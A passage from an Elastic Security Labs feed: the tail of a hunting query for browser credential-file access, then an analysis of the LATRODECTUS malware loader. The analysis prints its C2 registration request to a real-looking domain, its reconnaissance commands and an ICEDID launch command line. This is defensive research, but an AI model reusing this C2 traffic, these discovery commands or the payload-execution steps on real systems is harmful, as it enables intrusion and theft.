and event.action in (&quot;open&quot;, &quot;modification&quot;)
and (
  file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)&quot;
)
| keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
| eval process_path = replace(process.executable, &quot;([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})&quot;, &quot;&quot;)
| eval process_path = replace(process_path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| eval normalized_file_path = replace(file.path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
| where number_hosts == 1
| sort number_hosts desc
</code></pre>
</li>
</ul>
<h3>Yara rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows Trojan MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows Trojan Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar">Windows Trojan RedLineStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar">Windows Trojan AgentTesla</a></li>
</ul>
<h2>Conclusion</h2>
<p>In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.</p>
<p>Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/globally-distributed-stealers/Security Labs Images 25.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID]]></title>
            <link>https://www.elastic.co/pt/security-labs/spring-cleaning-with-latrodectus</link>
            <guid>spring-cleaning-with-latrodectus</guid>
            <pubDate>Thu, 16 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has observed an uptick in a recent emerging loader known as LATRODECTUS. This lightweight loader packs a big punch with ties to ICEDID and may turn into a possible replacement to fill the gap in the loader market.]]></description>
            <content:encoded><![CDATA[<h2>LATRODECTUS at a glance</h2>
<p>First <a href="https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39">discovered</a> by Walmart researchers in October of 2023, LATRODECTUS is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and <a href="https://www.elastic.co/pt/security-labs/thawing-the-permafrost-of-icedid-summary">ICEDID</a> due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a <a href="https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice">strong link</a> between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.</p>
<p>LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as <a href="https://www.elastic.co/pt/security-labs/pikabot-i-choose-you">PIKABOT</a>, where the code is more lightweight and direct with a limited number of handlers.</p>
<p>This article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.</p>
<h3>Key takeaways</h3>
<ul>
<li>Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns</li>
<li>LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads</li>
<li>We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files</li>
<li>Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS</li>
</ul>
<h3>LATRODECTUS campaign overview</h3>
<p>Beginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image44.png" alt="" /></p>
<p>With major changes in the loader space during the past year, such as the <a href="https://www.elastic.co/pt/security-labs/qbot-malware-analysis">QBOT</a> takedown and <a href="https://www.elastic.co/pt/security-labs/unpacking-icedid">ICEDID</a> dropping off, we are seeing new loaders such as <a href="https://www.elastic.co/pt/security-labs/pikabot-i-choose-you">PIKABOT</a> and LATRODECTUS have emerged as possible replacements.</p>
<h2>LATRODECTUS analysis</h2>
<p>Our LATRODECTUS <a href="https://www.virustotal.com/gui/file/aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c/details">sample</a> comes initially packed with file information <a href="https://attack.mitre.org/techniques/T1036/">masquerading</a> as a component to Bitdefender’s kernel-mode driver (TRUFOS.SYS), shown in the following image.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image47.png" alt="File version information of packed LATRODECTUS sample" /></p>
<p>In order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as <a href="http://Unpac.Me">UnpacMe</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image26.png" alt="UnpacMe summary" /></p>
<p>LATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image21.png" alt="Exports for LATRODECTUS" /></p>
<h3>String obfuscation</h3>
<p>All of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial <a href="https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39">report</a> published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our <a href="https://github.com/elastic/labs-releases/tree/main/nightMARE">nightMARE framework</a>:</p>
<pre><code class="language-python">def decrypt_string(encrypted_bytes: bytes) -&gt; bytes:
    x = cast.u32(encrypted_bytes[:4])
    y = cast.u16(encrypted_bytes[4:6])
    byte_size = cast.u16(cast.p32(x ^ y)[:2])
    decoded_bytes = bytearray(byte_size)

    for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
        decoded_bytes[i] = ((x + i + 1) ^ b) % 256

    return bytes(decoded_bytes)
</code></pre>
<h3>Runtime API</h3>
<p>LATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve <code>kernel32.dll</code> and <code>ntdll.dll</code> modules and their functions. In order to resolve additional libraries such as <code>user32.dll</code> or <code>wininet.dll</code>, the malware takes a different approach performing a wildcard search (<code>*.dll</code>) in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image15.png" alt="DLL search using a CRC32 checksum" /></p>
<h3>Anti-analysis</h3>
<p>When all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image35.png" alt="BeingDebugged check via PEB" /></p>
<p>In order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image30.png" alt="Number of processes and OS validation checks" /></p>
<p>In order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image4.png" alt="Enum related to build numbers, OS version" /></p>
<p>The two previous conditions translate to:</p>
<ul>
<li>LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11</li>
<li>LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2</li>
</ul>
<p>After the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image27.png" alt="IsWow64Process check" /></p>
<p>The last check is based on verifying the MAC address via the <code>GetAdaptersInfo()</code> call from <code>iphlpapi.dll</code>. If there is no valid MAC Address, the malware will also terminate.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image36.png" alt="MAC Address check" /></p>
<h3>Mutex</h3>
<p>This malware uses the string <code>runnung</code> as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image29.png" alt="Mutex" /></p>
<h3>Hardware ID</h3>
<p>After the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (<code>0x19660D</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image6.png" alt="HWID calculation" /></p>
<h3>Campaign ID</h3>
<p>At this stage, the decrypted campaign name (<code>Littlehw</code>) from our sample is used as a seed passed into a Fowler–Noll–Vo hashing <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">function</a>. This will produce a hash that is used by the actor to track different campaigns and associated victim machines.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image37.png" alt="Campaign ID calculation using FNV" /></p>
<h3>Setup / persistence</h3>
<p>The malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:</p>
<ul>
<li><code>AppData</code></li>
<li><code>Desktop</code></li>
<li><code>Startup</code></li>
<li><code>Personal</code></li>
<li><code>Local\AppData</code></li>
</ul>
<p>Our sample was configured with the <code>AppData</code> location using a hard-coded directory string <code>Custom_update</code> along with a hardcoded filename <code>Update_</code> concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:</p>
<pre><code>C:\Users\REM\AppData\Roaming\Custom_update\Update_88d58563.dll
</code></pre>
<p>The malware will check for an existing file <code>AppData\Roaming\Custom_update\update_data.dat</code> to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image7.png" alt="LATRODECTUS written in AppData" /></p>
<p>After the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image19.png" alt="Decrypting C2 servers" /></p>
<p>Before the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image14.png" alt="Scheduled task creation via COM" /></p>
<p>In our sample, the task name is hardcoded as <code>Updater</code> and scheduled to execute upon successful logon.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image12.png" alt="Scheduled task properties" /></p>
<h3>Self-deletion</h3>
<p>Self-deletion is one noteworthy technique incorporated by LATRODECTUS. It was <a href="https://x.com/jonasLyk/status/1350401461985955840">discovered</a> by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc <a href="https://github.com/LloydLabs/delete-self-poc">repo</a>. The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream.</p>
<p>Elastic Security Labs has seen this technique adopted in malware such as the <a href="https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/#anti-detection-alternate-data-streams">ROOK</a> ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a <a href="https://github.com/LloydLabs/delete-self-poc/blob/49fe92218fdcfe8e173aa60a9eb307bae07cb027/main.h#L10">string</a> (<code>:wtfbbq</code>) present in the repository.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image2.png" alt="Self-deletion code in LATRODECTUS" /></p>
<p>This technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a <a href="https://github.com/mandiant/capa-rules/blob/master/anti-analysis/anti-forensic/self-deletion/self-delete-using-alternate-data-streams.yml">CAPA rule</a> to help other organizations identify this behavior generically when analyzing various malware.</p>
<h3>Communication</h3>
<p>LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of <code>12345</code>. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.</p>
<pre><code>POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache

M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image32.png" alt="Initial registration request" /></p>
<p>Below is an example of the decrypted contents sent in the first request:</p>
<pre><code>counter=0&amp;type=1&amp;guid=249507485CA29F24F77B0F43D7BA&amp;os=6&amp;arch=1&amp;username=user&amp;group=510584660&amp;ver=1.1&amp;up=4&amp;direction=aytobusesre.com&amp;mac=00:0c:24:0e:29:85;&amp;computername=DESKTOP-3C4ILHO&amp;domain=-
</code></pre>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>counter</td>
<td>Number of C2 requests increments by one for each callback</td>
</tr>
<tr>
<td>type</td>
<td>Type of request (registration, etc)</td>
</tr>
<tr>
<td>guid</td>
<td>Generated hardware ID seeded by volume serial number</td>
</tr>
<tr>
<td>os</td>
<td>Windows OS product version</td>
</tr>
<tr>
<td>arch</td>
<td>Windows architecture version</td>
</tr>
<tr>
<td>username</td>
<td>Username of infected machine</td>
</tr>
<tr>
<td>group</td>
<td>Campaign identifier seeded by unique string in binary with FNV</td>
</tr>
<tr>
<td>version</td>
<td>LATRODECTUS version</td>
</tr>
<tr>
<td>up</td>
<td>Unknown</td>
</tr>
<tr>
<td>direction</td>
<td>C2 domain</td>
</tr>
<tr>
<td>mac</td>
<td>MAC Address</td>
</tr>
<tr>
<td>computername</td>
<td>Hostname of infected machine</td>
</tr>
<tr>
<td>domain</td>
<td>Domain belonging to infected machine</td>
</tr>
</tbody>
</table>
<p>Each request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (<strong>CLEARURL</strong>, <strong>URLS</strong>, <strong>COMMAND</strong>, <strong>ERROR</strong>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image39.png" alt="Command dispatching logic" /></p>
<p>The main event handlers are passed through the <strong>COMMAND</strong> object type with the handler ID and their respective argument.</p>
<pre><code>COMMAND|12|http://www.meow123.com/test 
</code></pre>
<p>The <strong>CLEARURL</strong> object type is used to delete any configured domains. The <strong>URLS</strong> object type allows the attacker to swap to a new C2 URL. The last object type, <strong>ERROR</strong>, is not currently configured.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image11.png" alt="Example of command request via CyberChef" /></p>
<h3>Bot Functionality</h3>
<p>LATRODECTUS’s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial <a href="https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39">publication</a> which may be a sign that the codebase is still active and changing.</p>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Retrieve file listing from desktop directory</td>
</tr>
<tr>
<td>3</td>
<td>Retrieve process ancestry</td>
</tr>
<tr>
<td>4</td>
<td>Collect system information</td>
</tr>
<tr>
<td>12</td>
<td>Download and execute PE</td>
</tr>
<tr>
<td>13</td>
<td>Download and execute DLL</td>
</tr>
<tr>
<td>14</td>
<td>Download and execute shellcode</td>
</tr>
<tr>
<td>15</td>
<td>Perform update, restart</td>
</tr>
<tr>
<td>17</td>
<td>Terminate own process and threads</td>
</tr>
<tr>
<td>18</td>
<td>Download and execute ICEDID payload</td>
</tr>
<tr>
<td>19</td>
<td>Increase Beacon Timeout</td>
</tr>
<tr>
<td>20</td>
<td>Resets request counter</td>
</tr>
</tbody>
</table>
<h4>Desktop listing - command ID (2)</h4>
<p>This command handler will retrieve a list of the contents of the user’s desktop, which the developer refers to as <code>desklinks</code>. This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image16.png" alt="Desktop listing (Handler #2)" /></p>
<p><strong>Example request</strong>:</p>
<pre><code>counter=0&amp;type=1&amp;guid=249507485CA29F24F77B0F43D7BA&amp;os=6&amp;arch=1&amp;username=user&amp;group=510584660&amp;ver=1.1&amp;up=4&amp;direction=aytobusesre.com&amp;desklinks=[&quot;OneDrive.lnk&quot;,&quot;OneNote.lnk&quot;,&quot;PowerPoint.lnk&quot;,&quot;Notepad++.lnk&quot;,&quot;Excel.lnk&quot;,&quot;Google Chrome.lnk&quot;,&quot;Snipping Tool.lnk&quot;,&quot;Notepad.lnk&quot;,&quot;Paint.lnk&quot;]
</code></pre>
<h4>Process ancestry - command ID (3)</h4>
<p>This event handler is referenced as <strong>proclist</strong> by the developer where it collects the entire running process ancestry from the infected machine via the <strong>CreateToolhelp32Snapshot</strong> API.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image25.png" alt="Retrieve process ancestry (Handler #3)" /></p>
<p>Like security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image17.png" alt="Example of process ancestry collected by LATRODECTUS" /></p>
<h4>Collect system information - command ID (4)</h4>
<p>This command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:</p>
<pre><code class="language-bash">C:\Windows\System32\cmd.exe /c ipconfig /all
C:\Windows\System32\cmd.exe /c systeminfo
C:\Windows\System32\cmd.exe /c nltest /domain_trusts
C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
C:\Windows\System32\cmd.exe /c net view /all /domain
C:\Windows\System32\cmd.exe /c net view /all
C:\Windows\System32\cmd.exe /c net group &quot;Domain Admins&quot; /domain
C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\cmd.exe /c net config workstation
C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:\Windows\System32\cmd.exe /c whoami /groups
</code></pre>
<p>Each output is placed into URI with corresponding collected data:</p>
<pre><code>&amp;ipconfig=
&amp;systeminfo=
&amp;domain_trusts=
&amp;domain_trusts_all=
&amp;net_view_all_domain=
&amp;net_view_all=
&amp;net_group=
&amp;wmic=
&amp;net_config_ws=
&amp;net_wmic_av=
&amp;whoami_group=
</code></pre>
<h4>Download and execute PE - command ID (12)</h4>
<p>This handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image19.png" alt="Download and Run PE function (Handler #4)" /></p>
<p>Below is an example in our environment using this handler:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image34.png" alt="Process tree of download and run PE function" /></p>
<h4>Download and execute DLL - command ID (13)</h4>
<p>This command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image10.png" alt="Download and run DLL function (Handler #13)" /></p>
<h4>Download and execute shellcode - command (14)</h4>
<p>This command handler downloads shellcode from the C2 server via <code>InternetReadFile</code>, allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image24.png" alt="Shellcode execution (Handler #14)" /></p>
<h4>Update / restart  - command ID (15)</h4>
<p>This handler appears to perform a binary update to the malware where it’s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image33.png" alt="Update handler (Handler #15)" /></p>
<h4>Terminate - command ID (17)</h4>
<p>This handler will terminate the existing LATRODECTUS process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image46.png" alt="Self-termination (Handler #17)" /></p>
<h4>Download and execute hosted ICEID payload - command ID (18)</h4>
<p>This command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned <code>rundll32.exe</code> process. We haven’t personally observed this being used in-the-wild, however.</p>
<p>The handler creates a folder containing two files to the <code>AppData\Roaming\</code> directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is:</p>
<pre><code>C:\Users\REM\AppData\Roaming\-632116337
</code></pre>
<p>It retrieves a file (<code>test.dll</code>) from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (<code>-456638727.dll</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image9.png" alt="LATRODECTUS downloading ICEDID loader" /></p>
<p>LATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (<code>1431684209.dat</code>). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it’s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.</p>
<pre><code>init -zzzz=&quot;-632116337\1431684209.dat&quot;
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image20.png" alt="LATRODECTUS downloading ICEDID data" /></p>
<p>LATRODECUS initiates a second download request using a hard-coded URI (<code>/files/bp.dat</code>) from the configured C2 server, which is written to a file (<code>1431684209.dat</code>). Analyzing the <code>bp.dat</code> file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as <code>license.dat</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image31.png" alt="Encrypted ICEDID payload (bp.dat)" /></p>
<p>After decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image43.png" alt="Decrypted ICEDID payload (bp.dat)" /></p>
<p>Our team was able to revisit <a href="https://www.elastic.co/pt/security-labs/unpacking-icedid">prior tooling</a> and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image28.png" alt="ICEDID YARA triggering on rebuilt PE from bp.dat" /></p>
<p>At this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image38.png" alt="" /></p>
<p>These files are then executed together using <code>rundll32.exe</code> via <strong>CreateProcessW</strong> with their respective arguments. Below is the observed command-line:</p>
<pre><code>rundll32.exe C:\Users\REM\AppData\Roaming\-632116337\-456638727.dll,init -zzzz=&quot;-632116337\1431684209.dat&quot;
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image18.png" alt="Rundll32.exe execution" /></p>
<p>Scanning the <code>rundll32.exe</code> child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image41.png" alt="YARA memory scan detecting ICEDID" /></p>
<h4>Beacon timeout - command ID (19)</h4>
<p>LATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image45.png" alt="Adjust timeout feature (Handler #19)" /></p>
<p>In order to calculate the timeout, it generates a random number by seeding a combination of the user’s cursor position on the screen multiplied by the system’s uptime (<code>GetTickCount</code>). This result is passed as a parameter to <strong>RtlRandomEx</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image22.png" alt="Random number generator using cursor position" /></p>
<h4>Reset counter - command ID (20)</h4>
<p>This command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.</p>
<pre><code>counter=3&amp;type=4&amp;guid=638507385
</code></pre>
<h3>LATRODECTUS / ICEDID connection</h3>
<p>There definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:</p>
<ul>
<li>Same enumeration commands in the system discovery handler</li>
<li>The DLL exports all point to same export function address, this was a common observation with ICEDID payloads</li>
<li>C2 data is concatenated together as variables in the C2 traffic requests</li>
<li>The <code>bp.dat</code> file downloaded from handler (#18) is used to execute the ICEDID payload via <code>rundll32.exe</code></li>
<li>The functions appear to be similarly coded</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/spring-cleaning-with-latrodectus/image13.png" alt="COM-based Scheduled Task setup - ICEDID vs LATRODECTUS" /></p>
<p>Researchers didn’t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the <a href="https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol">BackConnect</a> module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS’ capabilities.</p>
<h3>Sandboxing LATRODECTUS</h3>
